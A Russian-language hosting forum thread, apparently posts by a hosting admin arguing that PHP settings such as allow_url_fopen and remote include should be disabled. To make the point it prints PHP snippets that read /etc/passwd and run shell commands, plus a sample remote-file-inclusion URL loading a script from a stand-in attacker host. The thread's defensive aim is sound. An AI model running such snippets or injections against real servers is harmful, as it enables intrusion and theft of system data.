Мне кажется по умолчанию, и то и то открыто при стандартной инсталиации, по крайней мере директадмин. Спорить в этом не буду, так как особо не интересовался. На своих серверах автоматом и молча стараемся закрывать инклюд, там где закрыто проблем нет и не было, там где открыто, постоянно вылезает то спам, то шелл то ещё что то...
Следующий раз советую сперва спросить, а потом делать ;)
Эти сервера от server4you. de иначе Intergenia. Имею там ещё десяток, но думаю постепенно отбрыкатся. Пока с сервером не будет проблем, будете жыть спокойно, но когда появится проблемы, тогда начнёте плясать.... Я бы эту комппанию переименовал бы на server4down.....
Tarry, не так надо вопрос ставить. Вы задали поддержке вопрос который действительно не стандартный и я бы сказал эксклюзивный ;) Знаю что появится в этой теме "да мы, мы всю жизнь представляем возможность использования unixODBC" и так талее.
А также Вы не дали никакой исходной информации поддержке, то есть, спросили как бы на включение "register_globals". Спокойно можно посмотреть как на под*&*&у :)
Может и есть, но крайне редкий вариант, так же редкий как и запрос на unixODBC 😂 Сборка поддержки unixODBC вроде ничего сложного, но на рабочем сервере, где маса акаунтов, я бы просто не делал. Не потому что сложно, но потому что это будет делатся через задницу, и при каждой пересборке php, будет головная боль. VPS Вам нужен и флаг в руки 😂
Запросить у поддержки и все дела...
P.S. С некоторыми панельками можно выкрутится, помогает встроенный файл манагер :)
Спасибо точно не будет, но вот что хостёр "му**к" скажут многие...
Закрыть уши, и делать своё грязное дело - штопать всевозможные дырки. Естественно будут жалобы, что не работает привычно sape, а на других хостингах работает и так далее....
Оказывается ещё и читать не умеем.... Так что мы програмируем? Дырки для хакеров школьников 😆
Анализ взломов показал что основные способы взлома акаунтов/серверов, это пароли на акаунтах типа qwerty (также перехват), грубые ошибки програмеров. Дальше заливается шел и сервер работает не на арендатора, а на взломщиков. Также этому делу помогают дыры, которые типично открыты у большинства хостингов.
Два банальные теста:
<?php readfile('/etc/passwd'); ?>
<?php $output = shell_exec('ls /home/'); echo "<pre>$output</pre>"; ?>
Не говорю про те случаи, когда меняется бинарики ssh, ls, ps, rm и других привычных тулсов. Ставится снифер и тп.
allow_url_fopen это огромная дыра безопасности, это API хакеру 😂 "register_globals on" это цветочки....
Открывать allow_url_fopen, можно в том случае, если сажать каждого пользователя в "jail" по всем правилам, но это сложно и теряется производительность. В "jail"e. пользователь будет опасен только сам себе. Но тогда будет плакать, что он спам не отсылал, а его выгнали.
Хостёр виновать, он должен заботится о безопасности и другие песни пется 😂 Но когда хостёр заботится о безопасности, тогда песня другая "он тупой, вредный и тп" ;)
LineHost добавил 20.11.2008 в 23:47
Да, там тупой и злой админ :)
allow_url_fopen off
Я удивляюсь, около 70% хостинговых серверов потенциально опасные для всех, и для себя. Програмистам надо руки поотрубать от плечей за:
<?php include("http://example.com/includes/example_include.php"); ?>
В место того чтоб изпользовать:
<?php include($_SERVER['DOCUMENT_ROOT']."/includes/example_include.php"); ?>
Результат такой безмозглости:
http://example.com/index.php?page=http://crackme.net/evilscript.txt
Не в бинариках проблема, в php.ini надо внимательно смотреть :)
Признак дилетантности такое утверждение, не более того. У Вас в кармане денег никогда не было столько, чтоб иметь 100% аптайм. И думаю не будет, так как такие долго не продерживаются....
Мечтать не вредно, даже быть найвным тоже не велика проблема ;)
Раслабтесь, я не из тех, которые особо предлагаются, если ещё этого не поняли, то со временем поймёте ;)
А с ТС мы общались на много раньше до появления этого топика, я знаю проблемы, и тп, но не всегда всё говорю 😆
